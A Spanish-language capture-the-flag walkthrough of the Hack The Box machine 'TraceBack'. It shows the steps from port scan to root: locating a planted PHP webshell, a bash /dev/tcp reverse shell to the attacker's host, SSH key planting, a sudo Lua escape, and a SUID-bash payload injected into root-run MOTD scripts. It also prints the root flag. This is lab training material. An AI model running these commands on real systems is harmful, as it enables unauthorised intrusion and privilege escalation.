CorvusDDosKRom

Hack The Box: TraceBack

Easy

TraceBack es una máquina de nivel Easy en Hack The Box donde encontramos una webshell preinstalada por un atacante, escalamos a un segundo usuario mediante Lua con sudo, y finalmente obtenemos root explotando scripts MOTD ejecutados como root.

Linux
Hack The Box
Web Webshell Lua MOTD Escalada de Privilegios

TraceBack

Plataforma: Hack The Box

Dificultad: Easy

🔗 Link de la máquina: https://app.hackthebox.com/machines/TraceBack

TraceBack

Reconocimiento

En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.

sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN traceback.txt 10.129.22.27
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-11 14:19 -0300
Nmap scan report for 10.129.22.27
Host is up (0.30s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.05 seconds

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • --open: Muestra solo puertos abiertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detectar versiones de servicios.
  • --min-rate 5000: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN traceback.txt: Guarda los resultados en el archivo “traceback.txt”.

Puertos descubiertos:

  • 22/tcp - SSH (OpenSSH 7.6p1 Ubuntu)
  • 80/tcp - HTTP (Apache 2.4.29) → “Help us”

Enumeración Web

Agregamos la IP al /etc/hosts:

echo "10.129.22.27 traceback.htb" >> /etc/hosts

Al acceder a http://traceback.htb encontramos una página con un mensaje bastante peculiar:

Web Principal

Contenido de la página:

This site has been owned
I have left a backdoor for all the net.
     - Xh4H -

El sitio ha sido comprometido por alguien llamado Xh4H que ha dejado una backdoor. Revisando el código fuente de la página encontramos una pista importante:

<!--Some of the best web shells that you might need ;)-->

Hay una webshell instalada en el servidor. El atacante original (Xh4H) es conocido en la comunidad de seguridad por su repositorio de webshells.

Búsqueda de la Webshell

El comentario menciona “the best web shells”, lo que nos lleva directamente al repositorio de GitHub de Xh4H: https://github.com/Xh4H/Web-Shells

Clonamos el repositorio y construimos una wordlist con los nombres de los archivos:

git clone https://github.com/Xh4H/Web-Shells.git
ls Web-Shells/*.php | xargs -I{} basename {} > webshells.txt
cat webshells.txt
alfa3.php
alfacgiapi.php
alfav3.0.e2.php
andela.php
ani-shell.php
b374k.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
delta.php
dtool_pro.php
gamma.php
HTC.php
locus7s.php
mysql.php
nbshell.php
pws.php
r57.php
smevk.php
TmpHao.php
webshell.php
whA.php

Usamos esta wordlist con gobuster:

gobuster dir -u http://traceback.htb -w webshells.txt

Resultado:

smevk.php            (Status: 200) [Size: 1261]

¡Encontramos la webshell smevk.php!

Webshell Login

Acceso a la Webshell SmEvK

La webshell SmEvK_PaThAn Shell tiene credenciales por defecto:

  • Usuario: admin
  • Contraseña: admin

Accedemos con estas credenciales y obtenemos una webshell interactiva:

Webshell Panel


Explotación

Obtención de Reverse Shell

Desde la webshell, ejecutamos un comando para obtener una reverse shell:

Configuramos el listener:

nc -nlvp 4444

Ejecutamos en la webshell:

bash -c 'bash -i >& /dev/tcp/10.10.16.4/4444 0>&1'

Reverse shell obtenida:

Reverse Shell

listening on [any] 4444 ...
connect to [10.10.16.4] from (UNKNOWN) [10.129.22.27] 56358
bash: cannot set terminal process group (671): Inappropriate ioctl for a device
bash: no job control in this shell
webadmin@traceback:/var/www/html$ id
uid=1000(webadmin) gid=1000(webadmin) groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)

Tratamiento de la TTY

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm-256color
export SHELL=/bin/bash

Preparación del Acceso SSH

Antes de escalar, aprovechamos que somos webadmin para inyectar una clave SSH en nuestro propio directorio .ssh — así podremos reconectarnos por SSH más adelante para triggerear el MOTD.

En Kali generamos la clave:

ssh-keygen -t rsa -f traceback_key -N ""
cat traceback_key.pub

Desde la shell de webadmin inyectamos la clave pública:

echo "ssh-rsa AAAA..." > /home/webadmin/.ssh/authorized_keys
chmod 600 /home/webadmin/.ssh/authorized_keys

Enumeración del Home

Revisamos el directorio home de webadmin:

ls -la /home/webadmin/
total 44
drwxr-x--- 5 webadmin sysadmin 4096 Apr 22  2021 .
drwxr-xr-x 4 root     root     4096 Aug 25  2019 ..
-rw------- 1 webadmin webadmin  105 Mar 16  2020 .bash_history
-rw-r--r-- 1 webadmin webadmin  220 Aug 23  2019 .bash_logout
-rw-r--r-- 1 webadmin webadmin 3771 Aug 23  2019 .bashrc
drwx------ 2 webadmin webadmin 4096 Aug 23  2019 .cache
drwxrwxr-x 3 webadmin webadmin 4096 Apr 22  2021 .local
-rw-rw-r-- 1 webadmin webadmin    1 Aug 25  2019 .luvit_history
-rw-r--r-- 1 webadmin webadmin  807 Aug 23  2019 .profile
drwxrwxr-x 2 webadmin webadmin 4096 Feb 27  2020 .ssh
-rw-rw-r-- 1 sysadmin sysadmin  122 Mar 16  2020 note.txt

Encontramos una nota de sysadmin:

cat /home/webadmin/note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

La nota menciona una herramienta Lua. Verificamos los permisos sudo para descubrirla:


User Flag

Verificación de Sudo

sudo -l
Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit

Podemos ejecutar /home/sysadmin/luvit (intérprete Lua) como sysadmin sin contraseña.

Escape a sysadmin con Lua

Luvit es un runtime de Lua similar a Node.js. Podemos usarlo para ejecutar comandos del sistema:

sudo -u sysadmin /home/sysadmin/luvit -e "os.execute('/bin/bash')"
sysadmin@traceback:/var/www/html$ id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)

¡Somos sysadmin! Nos movemos a su home:

sysadmin@traceback:/var/www/html$ cd /home/sysadmin/
sysadmin@traceback:~$ ls -la
total 4336
drwxr-x--- 5 sysadmin sysadmin    4096 Mar 16  2020 .
drwxr-xr-x 4 root     root        4096 Aug 25  2019 ..
-rw------- 1 sysadmin sysadmin       1 Aug 25  2019 .bash_history
-rw-r--r-- 1 sysadmin sysadmin     220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 sysadmin sysadmin    3771 Apr  4  2018 .bashrc
drwx------ 2 sysadmin sysadmin    4096 Aug 25  2019 .cache
drwxrwxr-x 3 sysadmin sysadmin    4096 Aug 24  2019 .local
-rw-r--r-- 1 sysadmin sysadmin     807 Apr  4  2018 .profile
drwxr-xr-x 2 root     root        4096 Apr 20  2021 .ssh
-rwxrwxr-x 1 sysadmin sysadmin 4397566 Aug 24  2019 luvit
-rw------- 1 sysadmin sysadmin      33 Feb 11 07:26 user.txt
sysadmin@traceback:~$ cat user.txt

User Flag


Escalada de Privilegios

Enumeración como sysadmin

Buscamos archivos que podamos modificar y que sean ejecutados por root:

find / -writable -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null | grep -v "/home/sysadmin"

Revisamos en particular el directorio /etc/update-motd.d/:

ls -la /etc/update-motd.d/
total 24
drwxr-xr-x  2 root sysadmin 4096 Aug 27  2019 .
drwxr-xr-x 80 root root     4096 Mar 16  2020 ..
-rwxrwxr-x  1 root sysadmin  981 Aug 25  2019 00-header
-rwxrwxr-x  1 root sysadmin  982 Feb 27  2020 10-help-text
-rwxrwxr-x  1 root sysadmin  604 Aug 25  2019 50-motd-news
-rwxrwxr-x  1 root sysadmin  299 Aug 25  2019 80-esm
-rwxrwxr-x  1 root sysadmin  118 Aug 25  2019 91-release-upgrade

Los scripts en /etc/update-motd.d/ son ejecutados por root cada vez que alguien inicia sesión por SSH para mostrar el “Message Of The Day”. El usuario sysadmin tiene permisos de escritura sobre estos archivos.

Explotación del MOTD

Desde la shell de sysadmin (grupo sysadmin con rwx sobre los scripts), inyectamos el payload en 00-header:

echo 'cp /bin/bash /tmp/rootshell; chmod 4755 /tmp/rootshell' >> /etc/update-motd.d/00-header

Nos conectamos por SSH como webadmin (con la clave que inyectamos antes) para triggerear los scripts MOTD:

ssh -i traceback_key webadmin@10.129.22.27

SSH MOTD

Al loguearse exitosamente, los scripts de /etc/update-motd.d/ se ejecutan como root (PAM session). Salimos con exit y desde la shell de sysadmin verificamos y ejecutamos el bash copiado:

ls -la /tmp/rootshell
/tmp/rootshell -p
-rwsr-xr-x 1 root root 1113504 Feb 11 11:04 /tmp/rootshell

Root Shell

rootshell-4.4# id
uid=1000(webadmin) gid=1000(webadmin) euid=0(root) groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)

¡Somos root (euid=0)!


Root Flag

rootshell-4.4# cd /root/
rootshell-4.4# ls -la
total 40
drwx------  5 root root 4096 Feb 11 07:26 .
drwxr-xr-x 22 root root 4096 Apr 22  2021 ..
-rw-------  1 root root 1518 Apr 22  2021 .bash_history
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 Aug 24  2019 .cache
drwxr-xr-x  3 root root 4096 Aug 24  2019 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-r--------  1 root root   33 Feb 11 07:26 root.txt
-rw-r--r--  1 root root   66 Aug 25  2019 .selected_editor
drwxr-xr-x  2 root root 4096 Apr 20  2021 .ssh
rootshell-4.4# cat root.txt
710456dddca20eb1f60184c8171f2dfb

Root Flag

Máquina TraceBack de Hack The Box completada exitosamente.